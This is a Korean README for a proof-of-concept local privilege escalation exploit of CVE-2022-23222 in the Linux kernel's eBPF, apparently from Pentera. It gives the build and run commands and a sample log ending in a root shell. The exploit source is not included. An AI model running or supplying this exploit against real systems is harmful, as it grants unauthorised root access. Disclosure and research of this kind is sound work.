
CVE-2022-23222에 대한 개념 증명 익스플로잇, eBPF를 통한 리눅스 커널 로컬 권한 상승입니다. 취약한 Ubuntu 20.04 시스템에서 루트 쉘을 획득하기 위해 링 버퍼 조작과 맵 연산을 시연합니다.
이것은 CVE-2022-23222에 대한 POC(Proof of Concept)로, 로컬 권한 상승(Local Privilege Escalation) 취약점입니다. 이 POC는 Ubuntu 20.04, 커널 버전 5.13.0-27-generic을 대상으로 작성되었으나, 다른 커널 버전에서도 취약합니다. 익스플로잇에 대한 자세한 분석은 write-up을 참조하십시오.
익스플로잇 실행을 위해 libbpf가 설치되어 있어야 합니다.
POC를 컴파일하려면 다음 명령을 실행하십시오:
make
익스플로잇을 실행하려면 다음 실행 파일을 실행하십시오:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
본 자문서에 설명된 코드("코드")는 "있는 그대로" 및 "사용 가능한 상태"로 제공되며, 버그, 오류 및 기타 결함이 포함될 수 있습니다. 중요한 데이터를 보호하고 주의를 기울이시기 바랍니다. 본 코드를 사용함으로써 귀하는 Pentera가 코드와 관련된 어떠한 청구에 대해서도 귀하에 대한 책임이 없음에 동의합니다. Pentera는 직접, 간접, 우발적, 징벌적, 모범적, 특별 또는 결과적 손해에 대한 모든 책임을 부인하며, 설사 Pentera 또는 그 관계사가 그러한 손해의 가능성을 통보받은 경우에도 그러합니다. Pentera는 본 코드 또는 본 자문서를 업데이트할 의무를 지지 않습니다.